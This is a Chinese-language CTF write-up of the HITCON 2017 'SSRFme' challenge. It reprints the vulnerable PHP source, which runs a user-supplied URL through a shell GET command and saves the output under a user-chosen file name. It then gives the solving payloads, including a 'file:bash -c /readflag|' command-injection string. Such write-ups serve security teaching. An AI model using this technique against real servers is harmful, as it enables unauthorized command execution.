[HITCON 2017]SSRFme
打开
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {//$_SERVER是预定义服务器变量的一种,所有$_SERVER开头的都是预定义服务变量。 $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//计算orange的MD5 @mkdir($sandbox);//mkdir()函数创建目录。@压制错误提示。 @chdir($sandbox);//chdir() 函数改变当前的目录。 $data = shell_exec("GET " . escapeshellarg($_GET["url"]));//shell_exec()通过shell,将完整的输出以字符串的方式返回。escapeshellarg把字符串转码为可以在 shell 命令里使用的参数 $info = pathinfo($_GET["filename"]);//pathinfo()函数以数组的形式返回关于文件路径的信息 $dir = str_replace(".", "", basename($info["dirname"]));//str_replace() 函数替换字符串中的一些字符。basename() 函数返回路径中的文件名部分。 @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data);//file_put_contents() 函数把一个字符串写入文件中。 highlight_file(__FILE__);
1、输出当前页面用户的ip
2、ip和orange一起进行md5加密,构建md5处理过的目录,切换到当前目录
3、通过url参数输入的内容会以GET命令执行,拼接shell命令,内容可控
4、将命令执行的结果写入到以filename参数的值命名的可控文件中
尝试读取根目录,并创建文件名为abc的文件
/?url=/&filename=abc

/sandbox/6dcb273e31b7c6e1cb3f2bb2b6b9236f/mochu.html

看出应该要用readflag读取flag,构造payload?url=file:bash -c /readflag|&filename=123
得到flag

浙公网安备 33010602011771号